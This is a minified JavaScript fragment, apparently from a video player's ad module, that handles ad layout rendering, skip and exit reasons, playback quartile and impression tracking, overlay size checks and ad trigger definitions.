this.C=new uui({adCpn:this.layout.layoutId,kz:b.kz,pvj:this.R9,Zo:this.layout.layoutType==="LAYOUT_TYPE_MEDIA"})};
m8=function(x){return{layoutId:x.fq(),M_:x.R9,LC:x.Bv.get(),dR:x.T3()}};
dc=function(x,T){return T.layoutId!==x.layout.layoutId?(x.cB.dn(x.slot,T,new th("Tried to start rendering an unknown layout, this adapter requires LayoutId: "+x.layout.layoutId+("and LayoutType: "+x.layout.layoutType),void 0,"ADS_CLIENT_ERROR_MESSAGE_UNKNOWN_LAYOUT"),"ADS_CLIENT_ERROR_TYPE_ENTER_LAYOUT_FAILED"),!1):!0};
MW=function(x){x.EF="rendering_start_requested";x.jU(-1)};
ee=function(x){return uS(x.layout.clientMetadata,"METADATA_TYPE_INTERACTIONS_AND_PROGRESS_LAYOUT_COMMANDS")};
h_3=function(x){E3("Received layout exit signal when not in layout exit flow.",x.slot,x.layout)};
vr3=function(x){var T;return((T=AH(x.Bv.get(),2))==null?void 0:T.clientPlaybackNonce)||""};
RG=function(x,T){switch(T){case "normal":x.W9("complete");break;case "skipped":x.W9("skip");break;case "abandoned":G$(x.eY,"impression")&&x.W9("abandon")}};
P0=function(x,T){x.T||(T=new g.qa(T.state,new g.uZ),x.T=!0);return T};
Se=function(x,T){jf(T)?x.jU(1):g.j1(T,4)&&!g.j1(T,2)&&x.KL();Zy(T,4)<0&&!(Zy(T,2)<0)&&x.d3()};
V1m=function(x){x.position===0&&(x.MU.get(),x=uS(x.layout.clientMetadata,"metadata_type_ad_placement_config").kind,x={adBreakType:c0(x)},a3("ad_bl"),g.gO(x))};
Yl=function(x,T){vv(x.eY,T,!x.Z)};
L6v=function(x){var T;return(((T=ee(x))==null?void 0:T.progressCommands)||[]).findIndex(function(t){return!!g.N(t==null?void 0:t.command,GK4)})!==-1};
U1=function(x,T){var t=uS(x.clientMetadata,"metadata_type_eligible_for_ssap");return t===void 0?(E3("Expected SSAP eligibility in PlayerBytes factory",x),!1):T.T3(t)};
bZ=function(x,T){if(!pG(T.get(),"html5_ssap_pass_transition_reason"))return 3;switch(x){case "skipped":case "muted":case "user_input_submitted":return 3;case "normal":return 2;case "error":return E3("Unexpected error from cPACF during rendering"),6;case "abandoned":return 5;case "user_cancelled":case "unknown":return E3("Unexpected layout exit reason",void 0,void 0,{layoutExitReason:x}),3;default:$Z(x,"unknown layoutExitReason")}};
nrV=function(x){E3("getExitReason: unexpected reason",void 0,void 0,{reason:x})};
rc=function(x,T){if(pG(T.get(),"html5_ssap_pass_transition_reason"))switch(x){case 2:return"normal";case 4:case 6:case 7:return"error";case 5:return nrV(x),"abandoned";case 3:case 1:return nrV(x),"error";default:$Z(x,"unexpected transition reason")}else switch(x){case 2:return"normal";case 4:return"error";case 5:case 3:case 1:case 6:case 7:return E3("getExitReason: unexpected reason",void 0,void 0,{reason:x}),"error";default:$Z(x,"unexpected transition reason")}};
zj=function(x,T,t){WM(x,t)||yK(x,T,t);WM(x,"video_to_ad")||yK(x,T,"video_to_ad");WM(x,"ad_to_video")||yK(x,T,"ad_to_video");WM(x,"ad_to_ad")||yK(x,T,"ad_to_ad")};
kl=function(x,T,t,u,H,I,E,Z,e,l,m,d,M,A,R,Y,b,z){lZ.call(this,x,T,t,u,H,I,E,Z,l,m,d,M,A,R,Y,b,z);var F=this;this.au=e;this.As=d;this.tO=!0;this.q3=this.Uk=0;this.Oc=jL(function(){TJi(m8(F));F.cB.bN(F.slot,F.layout)});
this.mB=jL(function(){or5(m8(F));F.EF!=="rendering_stop_requested"&&F.As(F);F.layoutExitReason?F.cB.Ts(F.slot,F.layout,F.layoutExitReason):h_3(F)});
this.iI=new g.SL(200);this.iI.listen("tick",function(){F.Bk()});
g.y(this,this.iI)};
hH=function(x){x.q3=Date.now();F2(x,x.Uk);x.iI.start()};
ayX=function(x){x.Uk=x.RI();x.uH(x.Uk/1E3,!0);F2(x,x.Uk)};
F2=function(x,T){T={current:T/1E3,duration:x.RI()/1E3};x.au.get().vZ("onAdPlaybackProgress",T)};
v0=function(x){kl.call(this,x.cB,x.slot,x.BU,x.RU,x.H9,x.Bv,x.IU,x.MU,x.au,x.Rf,x.jU,x.As,x.xK,x.mp,x.Lf,x.R9,x.WM,x.context)};
VR=function(x){kl.call(this,x.cB,x.slot,x.BU,x.RU,x.H9,x.Bv,x.IU,x.MU,x.au,x.Rf,x.jU,x.As,x.xK,x.mp,x.Lf,x.R9,x.WM,x.context)};
Gj=function(){VR.apply(this,arguments)};
grV=function(x){return U1(x.slot,x.Lf.get())?new Gj(x):new v0(x)};
aG=function(x){lZ.call(this,x.callback,x.slot,x.BU,x.RU,x.H9,x.Bv,x.IU,x.MU,x.Rf,x.jU,x.As,x.xK,x.mp,x.Lf,x.R9,x.WM,x.context);var T=this;this.adCpn="";this.pp=0;this.Hs=!1;this.Kg=0;this.Oc=jL(function(){TJi(m8(T));T.cB.bN(T.slot,T.layout)});
this.mB=jL(function(){or5(m8(T));T.EF!=="rendering_stop_requested"&&T.As(T);T.layoutExitReason?T.cB.Ts(T.slot,T.layout,T.layoutExitReason):h_3(T)});
this.JR=x.JR;this.EY=x.EY;this.Gs=x.Gs;this.au=x.au;this.Ai=x.Ai;this.As=x.As;if(!this.T3()){pG(this.Lf.get(),"html5_disable_media_load_timeout")||(this.yq=new g.wX(function(){T.Yr("load_timeout",new th("Media layout load timeout.",{},"ADS_CLIENT_ERROR_MESSAGE_MEDIA_LAYOUT_LOAD_TIMEOUT",!0),"ADS_CLIENT_ERROR_TYPE_ENTER_LAYOUT_FAILED")},1E4));
x=Li(this.Lf.get());var t=ni(this.Lf.get());x&&t&&(this.sB=new g.wX(function(){var u=uS(T.layout.clientMetadata,"metadata_type_preload_player_vars");u&&T.EY.get().U.preloadVideoByPlayerVars(u,2,300)}))}};
W64=function(x,T){var t=uS(T.clientMetadata,"metadata_type_ad_video_id"),u=uS(T.clientMetadata,"metadata_type_legacy_info_card_vast_extension");t&&u&&x.Ai.get().U.Y().hQ.add(t,{xC:u});(T=uS(T.clientMetadata,"metadata_type_sodar_extension_data"))&&yPJ(x.JR.get(),T);BJ4(x.IU.get(),!1)};
Da5=function(x){BJ4(x.IU.get(),!0);var T;((T=x.shrunkenPlayerBytesConfig)==null?0:T.shouldRequestShrunkenPlayerBytes)&&x.IU.get().Qp(!1)};
y94=function(x){var T=uS(x.e8().clientMetadata,"metadata_type_player_bytes_slot_metadata");T===void 0&&E3("PlayerBytesSlotMetadata is not filled",x.e8(),x.wy());return(T==null?void 0:T.hK)===!0};
gc=function(){aG.apply(this,arguments)};
B0=function(){gc.apply(this,arguments)};
NJf=function(x){return grV(Object.assign({},x,{cB:x.callback,jU:function(){}}))};
J9i=function(x){return new aG(Object.assign({},x,{jU:function(T){x.au.get().vZ("onAdIntroStateChange",T)}}))};
CJf=function(x){function T(t){x.au.get().wW(t)}
return U1(x.slot,x.Lf.get())?new B0(Object.assign({},x,{jU:T})):new aG(Object.assign({},x,{jU:T}))};
W0=function(x){for(var T=x.BU,t=["METADATA_TYPE_MEDIA_BREAK_LAYOUT_DURATION_MILLISECONDS"],u=g.S(km()),H=u.next();!H.done;H=u.next())t.push(H.value);if(KH(T,{yI:t,jV:["LAYOUT_TYPE_MEDIA_BREAK"]}))return NJf(x);T=x.BU;t=["metadata_type_player_vars","metadata_type_player_bytes_callback_ref"];u=g.S(km());for(H=u.next();!H.done;H=u.next())t.push(H.value);if(KH(T,{yI:t,jV:["LAYOUT_TYPE_MEDIA"]}))return xv(x.BU.clientMetadata,"metadata_type_ad_intro")?J9i(x):CJf(x)};
puJ=function(x){var T=uS(x.clientMetadata,"metadata_type_ad_placement_config").kind,t=uS(x.clientMetadata,"metadata_type_linked_in_player_layout_type");return{cpn:x.layoutId,adType:QnD(t),adBreakType:c0(T)}};
c0=function(x){switch(x){case "AD_PLACEMENT_KIND_START":return"LATENCY_AD_BREAK_TYPE_PREROLL";case "AD_PLACEMENT_KIND_MILLISECONDS":case "AD_PLACEMENT_KIND_COMMAND_TRIGGERED":case "AD_PLACEMENT_KIND_CUE_POINT_TRIGGERED":return"LATENCY_AD_BREAK_TYPE_MIDROLL";case "AD_PLACEMENT_KIND_END":return"LATENCY_AD_BREAK_TYPE_POSTROLL";default:return"LATENCY_AD_BREAK_TYPE_UNKNOWN"}};
QnD=function(x){switch(x){case "LAYOUT_TYPE_ENDCAP":return"adVideoEnd";case "LAYOUT_TYPE_SURVEY":return"surveyAd";case "LAYOUT_TYPE_VIDEO_INTERSTITIAL_BUTTONED_LEFT":return"surveyInterstitialAd";default:return"unknown"}};
O24=function(x){try{return new Dz(x.Ic,x.slot,x.layout,x.Ao,x.Dx,x.Bv,x.Iu,x.EY,x.jg,x.IU,x.OKf,x)}catch(T){}};
Dz=function(x,T,t,u,H,I,E,Z,e,l,m,d){g.W.call(this);this.Ic=x;this.slot=T;this.layout=t;this.Ao=u;this.Dx=H;this.Bv=I;this.Iu=E;this.EY=Z;this.jg=e;this.IU=l;this.params=d;this.KK=!0;x=W0(m);if(!x)throw Error("Invalid params for sublayout");this.Sg=x};
fym=function(){this.C=1;this.Z=new d4};
yR=function(x,T,t,u,H,I,E,Z,e,l,m,d,M){g.W.call(this);this.callback=x;this.Bv=T;this.Iu=t;this.EY=u;this.IU=H;this.MU=I;this.nt=E;this.slot=Z;this.layout=e;this.Ao=l;this.Am=m;this.jg=d;this.Lf=M;this.KK=!0;this.yu=!1;this.Sw=[];this.RA=-1;this.zn=!1;this.t6=new fym};
wu3=function(x){var T;return(T=x.layout.RC)!=null?T:uS(x.layout.clientMetadata,"metadata_type_sub_layouts")};
NW=function(x){return{LC:x.Bv.get(),M_:!1,dR:x.T3()}};
K6D=function(x,T,t){if(x.RJ()===x.Sw.length-1){var u,H;E3("Unexpected skip requested during the last sublayout",(u=x.X3())==null?void 0:u.e8(),(H=x.X3())==null?void 0:H.wy(),{requestingSlot:T,requestingLayout:t})}};
XuJ=function(x,T,t){return t.layoutId!==JH(x,T,t)?(E3("onSkipRequested for a PlayerBytes layout that is not currently active",x.e8(),x.wy()),!1):!0};
xk4=function(x){x.RJ()===x.Sw.length-1&&E3("Unexpected skip with target requested during the last sublayout")};
TOH=function(x,T,t){return t.renderingContent===void 0&&t.layoutId!==JH(x,T,t)?(E3("onSkipWithAdPodSkipTargetRequested for a PlayerBytes layout that is not currently active",x.e8(),x.wy(),{requestingSlot:T,requestingLayout:t}),!1):!0};
oKf=function(x,T,t,u){var H=uS(T.wy().clientMetadata,"metadata_type_ad_pod_skip_target");if(H&&H>0&&H<x.Sw.length){a:{for(var I=H;I<x.Sw.length;){if(H===uS(x.Sw[I].wy().clientMetadata,"metadata_type_ad_pod_skip_index")){x=I;break a}I++}x=void 0}if(x===void 0)E3("Skip-to-index was requested but target index was not found",T.e8(),T.wy(),{requestingSlot:t,requestingLayout:u});else return x}else E3("Invalid ad pod skip target index",T.e8(),T.wy(),{requestingSlot:t,requestingLayout:u})};
JH=function(x,T,t){var u=uS(x.wy().clientMetadata,"metadata_type_linked_in_player_layout_id");return u?u:(E3("Tried to retrieve Linked InPlayer LayoutId but missing ClientMetadata",x.e8(),x.wy(),{requestingSlot:T,requestingLayout:t}),null)};
s34=function(x,T,t,u){tKv(x,T,t,"skipped",function(){Ci(x,u)})};
tKv=function(x,T,t,u,H){if(!x.zn){var I=x.X3();if(I){I.wy().layoutId!==t.layoutId&&E3("SubLayout mismatch in exitSubLayout",T,t,{exitingSubLayout:t.layoutId,activeSubLayout:I.wy().layoutId});x.zn=!0;I.zy(I.wy(),u);I=Object.assign({},NW(x),{layoutId:t.layoutId,layoutExitReason:u});var E=I.layoutId,Z=I.layoutExitReason;if(I.dR){var e={};Sf(I.LC,"wrsx",(e.xc=E,e.ler=Z,e.ctp=PU(E),e))}x.vT(T,t,u);x.zn=!1;x.Bs?(x.Bs(),x.T3()||QR(x.MU.get())):H()}else E3("No active adapter when exitSubLayout in PlayerBytesVodCompositeLayoutRenderingAdapter. This should never happen.",
T,t)}};
Ci=function(x,T){if(x.RJ()===x.Sw.length-1)x.RA++,pi(x.Am,x.layout,"normal"),x.T3()||QR(x.MU.get());else a:{if(x.RJ()===-1&&(x.callback.bN(x.slot,x.layout),T>0)){E3("Invalid index for playLayoutAtIndexOrExit when no ad has played yet.",x.slot,x.layout,{indexToPlay:T,layoutId:x.layout.layoutId});break a}x.RA=T;T=x.X3();if(x.RJ()>0&&!x.T3()){var t=x.MU.get();t.Z=!1;var u={};t.C&&t.videoId&&(u.cttAuthInfo={token:t.C,videoId:t.videoId});BM("ad_to_ad",u)}x.m2(T)}};
O1=function(x){yR.call(this,x.Ic,x.Bv,x.Iu,x.EY,x.IU,x.MU,x.nt,x.slot,x.layout,x.Ao,x.Am,x.jg,x.Lf)};
uR5=function(x){(x=x.X3())&&x.NB()};
fi=function(x){yR.call(this,x.Ic,x.Bv,x.Iu,x.EY,x.IU,x.MU,x.nt,x.slot,x.layout,x.Ao,x.Am,x.jg,x.Lf);this.rN=void 0};
$ki=function(x,T){x.xO()&&!AE(x.t6.Z)||x.callback.Ts(x.slot,x.layout,T)};
wc=function(x){return pG(x.Lf.get(),"html5_ssap_pass_transition_reason")};
HlV=function(x,T,t){T.Xs().currentState<2&&(t=rc(t,x.Lf),T.zy(T.wy(),t));t=T.Xs().C;x.vT(x.slot,T.wy(),t)};
ilf=function(x,T){if(x.t6.Z.currentState<2){var t=rc(T,x.Lf);t==="error"?x.callback.dn(x.slot,x.layout,new th("Player transition with error during SSAP composite layout.",{playerErrorCode:"non_video_expired",transitionReason:T},"ADS_CLIENT_ERROR_MESSAGE_PLAYER_TRANSITION_WITH_ERROR"),"ADS_CLIENT_ERROR_TYPE_ERROR_DURING_RENDERING"):pi(x.Am,x.layout,t)}};
Ki=function(x,T,t){T.Xs().currentState>=2||(T.zy(T.wy(),t),AE(T.Xs())&&(zZ(x.nt,x.slot,T.wy(),t),x.rN=void 0))};
I1f=function(x,T){x.t6.C===2&&T!==x.fB()&&E3("onClipEntered: unknown cpn",x.slot,x.layout,{cpn:T})};
EKV=function(x,T){var t=x.X3();if(t){var u=t.wy().layoutId,H=x.RJ()+1;x.xO()?Ki(x,t,T):t.zy(t.wy(),T);H>=0&&H<x.Sw.length?(t=x.Sw[H].wy().layoutId,wc(x)&&(["normal","skipped"].includes(T)||E3("exitActiveLayoutAndPlayNext: unexpected exit reason",x.slot,x.layout,{exitReason:T})),x.Iu.get().finishSegmentByCpn(u,t,bZ(T,x.Lf))):H===x.Sw.length?pi(x.Am,x.layout,"normal"):E3("unexpected index",x.slot,x.layout,{index:H})}else E3("exitActiveLayoutAndPlayNext: no active adapter",x.slot,x.layout)};
qMv=function(x,T){E3(T+": undefined adapter",x.slot,x.layout)};
Zlf=function(x){return U1(x.slot,x.Lf.get())?new fi(x):new O1(x)};
X2=function(x,T,t,u,H,I,E){g.W.call(this);this.callback=x;this.EY=T;this.IU=t;this.MU=u;this.Sg=H;this.jg=I;this.Lf=E;this.KK=!0;this.yu=!1};
j35=function(x,T,t,u,H,I,E,Z,e,l,m,d,M,A,R,Y,b,z,F,V,B,D){function f(){var xq=W0(Object.assign({},HX,{callback:{bN:x.bN.bind(x),Ts:x.Ts.bind(x),Qd:function(){},
dn:x.dn.bind(x)},slot:t,BU:u,As:function(){pi(E,u,"normal")},
xK:0,mp:1,R9:!0}));return xq?new X2(x,m,M,R,xq,H,F):xq}
function O(){var xq=Object.assign({},HX,{callback:{bN:function(){},
Ts:function(){},
Qd:function(){return void pi(E,u,"normal")},
dn:function(){}},
slot:t,BU:u,As:function(){},
xK:0,mp:1,R9:!0});return O24({Ic:x,slot:t,layout:u,Ao:I,Dx:E,Bv:d,Iu:V,EY:m,jg:H,IU:M,OKf:xq,context:B})}
function sH(){var xq,J=(xq=u.RC)!=null?xq:uS(u.clientMetadata,"metadata_type_sub_layouts");xq=Zlf({Ic:x,Bv:d,Iu:V,EY:m,IU:M,MU:R,nt:T,slot:t,layout:u,Ao:I,Am:E,jg:H,Lf:F});for(var X=[],c={Hx:0};c.Hx<J.length;c={Hx:c.Hx},c.Hx++){var C=W0(Object.assign({},HX,{callback:{bN:xq.Vg.bind(xq),Ts:xq.JW.bind(xq),Qd:xq.Qd.bind(xq),dn:xq.Yw.bind(xq)},slot:t,BU:J[c.Hx],As:function(WX){return function(PE){PE.zy(J[WX.Hx],"normal")}}(c),
xK:c.Hx,mp:J.length,R9:!1}));if(!C)return;X.push(C)}xq.Sw=X;return xq}
var HX={RU:Z,H9:e,JR:l,EY:m,Bv:d,IU:M,Gs:A,MU:R,au:Y,Rf:b,Ai:z,Lf:F,context:B,WM:D};Z=KH(u,{yI:["metadata_type_sub_layouts"],jV:["LAYOUT_TYPE_COMPOSITE_PLAYER_BYTES"]})||u.RC!==void 0&&u.layoutType==="LAYOUT_TYPE_COMPOSITE_PLAYER_BYTES";e=U1(t,F.get())&&KH(u,{yI:[],jV:["LAYOUT_TYPE_MEDIA","LAYOUT_TYPE_MEDIA_BREAK"]});l=KH(u,{yI:[],jV:["LAYOUT_TYPE_MEDIA","LAYOUT_TYPE_MEDIA_BREAK"]});if(Z)return sH();if(e)return O();if(l)return f()};
x_=function(x,T,t,u,H,I,E,Z,e,l){this.callback=x;this.slot=T;this.layout=t;this.Bv=u;this.Iu=H;this.CF=I;this.IU=E;this.eY=Z;this.RU=e;this.T=l;this.driftRecoveryMs=uS(this.layout.clientMetadata,"metadata_type_drift_recovery_ms")||null;this.K=uS(this.layout.clientMetadata,"metadata_type_prefetch_metadata")!==void 0};
l1q=function(x){var T=uS(x.layout.clientMetadata,"metadata_type_layout_enter_ms"),t=uS(x.layout.clientMetadata,"metadata_type_layout_exit_ms");x=x.CF.get();T=ed3(x.j,T,t);return Math.min(t,T!==null?T:Infinity)};
oM=function(x,T){var t;Tf(x.RU.get(),{driftRecoveryInfo:Object.assign({},{contentCpn:(t=x.Bv.get().YQ)==null?void 0:t.clientPlaybackNonce,adClientData:x.layout.FV.adClientDataEntry},T)})};
tO=function(x,T,t,u,H,I,E,Z,e,l,m){x_.call(this,x,T,t,u,H,I,E,Z,e,l);this.j=m;this.Z=this.C=null;x=g.S(this.j);for(T=x.next();!T.done;T=x.next())T=T.value,xv(T.wy().clientMetadata,"metadata_type_survey_overlay")&&(this.Z=T.wy().layoutId)};
dk4=function(x,T){var t=mkD(x,T);t||E3("Expected subLRA found by layout ID",x.slot,x.layout,{layoutId:T});x.C={Un:t};t?t.startRendering(t.wy()):T===x.Z&&E3("Failed to find rendering adapter for survey media layout",x.slot,x.layout,{surveyMediaLayoutId:T})};
mkD=function(x,T){return T==null?null:x.j.find(function(t){return t.wy().layoutId===T})||null};
MKJ=function(x,T,t,u,H,I,E,Z,e,l){var m=H-u,d=xv(T.clientMetadata,"metadata_type_survey_overlay"),M,A=((M=x.fulfilledLayout||uS(x.clientMetadata,"metadata_type_fulfilled_layout"))==null?void 0:uS(M.clientMetadata,"metadata_type_ssdai_ads_config"))||"";if(!m)return E.Ov(t,A,2,I,u,H,x.slotId),sO(l,"ads_iraot","sid."+x.slotId+";enterMs."+u+";exitMs."+H+";hso."+d+";vid."+t.video_id),null;m=E.nJ(t,A,2,I,u,H,x.slotId);sO(l,"ads_atct","sid."+x.slotId+";enterMs."+u+";exitMs."+H+";hso."+d+";vid."+t.video_id);
if(!m)return E3("Unexpected failure to add to playback timeline",x,T,e()),null;x=x.slotId;T=T.layoutId;m?(Z.C.has(m)&&E3("Unexpected remap of timeline playback"),Z.C.set(m,{slotId:x,layoutId:T})):E3("Invalid timeline playback ID");u+I>H&&E.XH(m,H-u);return m};
AA3=function(x,T,t){var u=uS(T.clientMetadata,"metadata_type_sodar_extension_data");if(u)try{yPJ(t,u)}catch(H){E3("Unexpected error when loading Sodar",x,T,{error:H})}};
Rdi=function(x,T,t,u,H,I,E){u_(x,T,new g.qa(t,new g.uZ),u,H,E,!1,I)};
u_=function(x,T,t,u,H,I,E,Z){E=E===void 0?!0:E;jf(t)&&ef(H,0,null)&&(!G$(x,"impression")&&Z&&Z(),x.W9("impression"));G$(x,"impression")&&(g.j1(t,4)&&!g.j1(t,2)&&x.bf("pause"),Zy(t,4)<0&&!(Zy(t,2)<0)&&x.bf("resume"),g.j1(t,16)&&H>=.5&&x.bf("seek"),E&&g.j1(t,2)&&$_(x,t.state,T,u,H,I))};
$_=function(x,T,t,u,H,I,E,Z){G$(x,"impression")&&(I?(I=H-u,I=I>=-1&&I<=2):I=Math.abs(u-H)<=1,H1(x,T,I?u:H,t,u,E,Z&&I),I&&x.W9("complete"))};
H1=function(x,T,t,u,H,I,E){Vg(x,t*1E3,E);H<=0||t<=0||(T==null?0:g.p(T,16))||(T==null?0:g.p(T,32))||(ef(t,H*.25,u)&&(I&&!G$(x,"first_quartile")&&I("first"),x.W9("first_quartile")),ef(t,H*.5,u)&&(I&&!G$(x,"midpoint")&&I("second"),x.W9("midpoint")),ef(t,H*.75,u)&&(I&&!G$(x,"third_quartile")&&I("third"),x.W9("third_quartile")))};
Pc5=function(x,T){G$(x,"impression")&&x.bf(T?"fullscreen":"end_fullscreen")};
SM3=function(x){G$(x,"impression")&&x.bf("clickthrough")};
cAm=function(x){x.bf("active_view_measurable")};
YM3=function(x){G$(x,"impression")&&!G$(x,"seek")&&x.bf("active_view_fully_viewable_audible_half_duration")};
Uk5=function(x){G$(x,"impression")&&!G$(x,"seek")&&x.bf("active_view_viewable")};
blX=function(x){G$(x,"impression")&&!G$(x,"seek")&&x.bf("audio_audible")};
rAi=function(x){G$(x,"impression")&&!G$(x,"seek")&&x.bf("audio_measurable")};
zdm=function(x,T,t,u,H,I,E,Z,e,l,m,d){this.callback=x;this.slot=T;this.layout=t;this.Iu=u;this.eY=H;this.IU=I;this.y3=E;this.H9=Z;this.JR=e;this.Lf=l;this.RU=m;this.Bv=d;this.tO=!0;this.k6=this.EF=null;this.adCpn=void 0;this.C=!1};
kEf=function(x,T,t){var u;sO(x.RU.get(),"ads_qua","cpn."+uS(x.layout.clientMetadata,"metadata_type_content_cpn")+";acpn."+((u=AH(x.Bv.get(),2))==null?void 0:u.clientPlaybackNonce)+";qt."+T+";clr."+t)};
Fwm=function(x,T){var t,u;sO(x.RU.get(),"ads_imp","cpn."+uS(x.layout.clientMetadata,"metadata_type_content_cpn")+";acpn."+((t=AH(x.Bv.get(),2))==null?void 0:t.clientPlaybackNonce)+";clr."+T+";skp."+!!g.N((u=uS(x.layout.clientMetadata,"metadata_type_instream_ad_player_overlay_renderer"))==null?void 0:u.skipOrPreviewRenderer,i_))};
IM=function(x){return{enterMs:uS(x.clientMetadata,"metadata_type_layout_enter_ms"),exitMs:uS(x.clientMetadata,"metadata_type_layout_exit_ms")}};
EO=function(x,T,t,u,H,I,E,Z,e,l,m,d,M,A){x_.call(this,x,T,t,u,H,E,Z,e,l,d);this.y3=I;this.JR=m;this.H9=M;this.Lf=A;this.k6=this.EF=null};
hdC=function(x,T){var t;sO(x.RU.get(),"ads_imp","acpn."+((t=AH(x.Bv.get(),2))==null?void 0:t.clientPlaybackNonce)+";clr."+T)};
vKi=function(x,T,t){var u;sO(x.RU.get(),"ads_qua","cpn."+uS(x.layout.clientMetadata,"metadata_type_content_cpn")+";acpn."+((u=AH(x.Bv.get(),2))==null?void 0:u.clientPlaybackNonce)+";qt."+T+";clr."+t)};
qU=function(x,T,t,u,H,I,E,Z,e,l,m,d,M,A,R,Y,b,z,F,V,B){this.jg=x;this.Ao=T;this.Am=t;this.Bv=u;this.Iu=H;this.IU=I;this.RU=E;this.y3=Z;this.CF=e;this.H9=l;this.JR=m;this.EY=d;this.Gs=M;this.MU=A;this.au=R;this.Rf=Y;this.Ai=b;this.Lf=z;this.C=F;this.context=V;this.WM=B};
Zf=function(x,T,t,u,H,I,E,Z,e,l,m,d,M,A,R,Y,b,z){this.jg=x;this.Ao=T;this.Am=t;this.RU=u;this.H9=H;this.JR=I;this.EY=E;this.Bv=Z;this.IU=e;this.Gs=l;this.MU=m;this.au=d;this.Rf=M;this.Ai=A;this.Lf=R;this.Iu=Y;this.context=b;this.WM=z};
VK5=function(x,T,t,u){u9.call(this,"survey-interstitial",x,T,t,u)};
jI=function(x,T,t,u,H){R7.call(this,t,x,T,u);this.RU=H;x=uS(T.clientMetadata,"metadata_type_ad_placement_config");this.eY=new z$(T.uN,H,x,T.layoutId)};
eI=function(x){return Math.round(x.width)+"x"+Math.round(x.height)};
mY=function(x,T,t){t=t===void 0?l_:t;t.width<l_.width&&(t=l_);if(x.width<t.width||x.height<t.height)return{xE:3,b7:501,errorMessage:"ad("+eI(t)+") larger than container("+eI(x)+")."};if(t.width*t.height>x.width*x.height*.2)return{xE:3,b7:501,errorMessage:"ad("+eI(t)+") to container("+eI(x)+") ratio exceeds limit."};if(t.height>x.height/3-T)return{xE:3,b7:501,errorMessage:"ad("+eI(t)+") covers container("+eI(x)+") center."}};
GEq=function(x,T){var t=uS(x.clientMetadata,"metadata_type_ad_placement_config");return new z$(x.uN,T,t,x.layoutId)};
dL=function(x){return uS(x.clientMetadata,"metadata_type_invideo_overlay_ad_renderer")};
MU=function(x,T,t,u){u9.call(this,"invideo-overlay",x,T,t,u);this.interactionLoggingClientData=u};
AO=function(x,T,t,u,H,I,E,Z,e,l,m,d){R7.call(this,I,x,T,H);this.RU=t;this.K=E;this.IU=Z;this.Rf=e;this.Lf=l;this.D=m;this.T=d;this.eY=GEq(T,t)};
LwX=function(){var x=["metadata_type_invideo_overlay_ad_renderer"];km().forEach(function(T){x.push(T)});
return{yI:x,jV:["LAYOUT_TYPE_IN_VIDEO_TEXT_OVERLAY","LAYOUT_TYPE_IN_VIDEO_ENHANCED_TEXT_OVERLAY"]}};
RM=function(x,T,t,u,H,I,E,Z,e,l,m,d,M){R7.call(this,I,x,T,H);this.RU=t;this.K=E;this.J=Z;this.IU=e;this.Rf=l;this.Lf=m;this.D=d;this.T=M;this.eY=GEq(T,t)};
nKf=function(){for(var x=["metadata_type_invideo_overlay_ad_renderer"],T=g.S(km()),t=T.next();!t.done;t=T.next())x.push(t.value);return{yI:x,jV:["LAYOUT_TYPE_IN_VIDEO_IMAGE_OVERLAY"]}};
P1=function(x){this.IU=x;this.C=!1};
a1m=function(x,T,t){u9.call(this,"survey",x,{},T,t)};
SI=function(x,T,t,u,H,I,E){R7.call(this,t,x,T,u);this.K=H;this.IU=I;this.Lf=E};
gK4=function(x,T,t,u,H,I,E,Z,e,l){this.UF=x;this.IU=T;this.RU=t;this.K=u;this.H9=H;this.Z=I;this.j=E;this.Rf=Z;this.Lf=e;this.C=l};
BO5=function(x,T,t,u,H,I,E,Z,e,l){this.UF=x;this.IU=T;this.RU=t;this.K=u;this.H9=H;this.Z=I;this.j=E;this.Rf=Z;this.Lf=e;this.C=l};
c1=function(x,T,t,u,H,I,E,Z,e,l){sq.call(this,x,T,t,u,H,I,E,e);this.Ms=Z;this.Bv=l};
WwC=function(){var x=C93();x.yI.push("metadata_type_ad_info_ad_metadata");return x};
DkX=function(x,T,t,u,H,I,E){this.UF=x;this.IU=T;this.RU=t;this.Z=u;this.Ms=H;this.C=I;this.Bv=E};
yAC=function(x,T,t,u,H,I,E,Z){this.UF=x;this.IU=T;this.RU=t;this.Z=u;this.Ms=H;this.C=I;this.Lf=E;this.Bv=Z};
Y_=function(x,T){this.slotId=T;this.triggerType="TRIGGER_TYPE_AD_BREAK_STARTED";this.triggerId=x(this.triggerType)};
UO=function(x,T){this.adPodIndex=x;this.C=T.length;this.adBreakLengthSeconds=T.reduce(function(u,H){return u+H},0);
var t=0;for(x+=1;x<T.length;x++)t+=T[x];this.adBreakRemainingLengthSeconds=t};
b_=function(x,T,t){this.RM=T;this.triggerType="TRIGGER_TYPE_BEFORE_CONTENT_VIDEO_ID_STARTED";this.triggerId=t||x(this.triggerType)};
rL=function(x,T,t){this.C=T;this.triggerType="TRIGGER_TYPE_CLOSE_REQUESTED";this.triggerId=t||x(this.triggerType)};
zf=function(x,T,t,u){this.RM=T;this.visible=t;this.triggerType="TRIGGER_TYPE_CONTENT_VIDEO_ID_ENDED";this.triggerId=u||x(this.triggerType)};
NOq=function(x){this.triggerType="TRIGGER_TYPE_CUE_BREAK_IDENTIFIED";this.triggerId=x(this.triggerType)};
JAH=function(x){this.triggerType="TRIGGER_TYPE_DURATION_AFTER_MEDIA_PAUSED";this.triggerId=x(this.triggerType)};
k_=function(x,T,t){this.triggeringLayoutId=T;this.slotId=t;this.triggerType="TRIGGER_TYPE_LAYOUT_ID_ACTIVE_AND_SLOT_ID_HAS_EXITED";this.triggerId=x(this.triggerType)};
FN=function(x,T,t){this.triggeringLayoutId=T;this.triggerType="TRIGGER_TYPE_LAYOUT_ID_ENTERED";this.triggerId=t||x(this.triggerType)};
hO=function(x,T,t,u){this.triggeringLayoutId=T;this.C=t;this.triggerType="TRIGGER_TYPE_LAYOUT_EXITED_FOR_REASON";this.triggerId=u||x(this.triggerType)};
CcD=function(x){switch(x){case "LAYOUT_EXIT_REASON_UNSPECIFIED":return"unknown";case "LAYOUT_EXIT_REASON_NORMAL":return"normal";case "LAYOUT_EXIT_REASON_ERROR":return"error";case "LAYOUT_EXIT_REASON_USER_SKIPPED":return"skipped";case "LAYOUT_EXIT_REASON_USER_MUTED":return"muted";case "LAYOUT_EXIT_REASON_ABANDONED":return"abandoned";case "LAYOUT_EXIT_REASON_USER_INPUT_SUBMITTED":return"user_input_submitted";case "LAYOUT_EXIT_REASON_USER_CANCELLED":return"user_cancelled";default:return new w("Invalid layout exit reason: "+
x)}};
v1=function(x,T,t){this.triggeringLayoutId=T;this.triggerType="TRIGGER_TYPE_LAYOUT_ID_EXITED";this.triggerId=t||x(this.triggerType)};
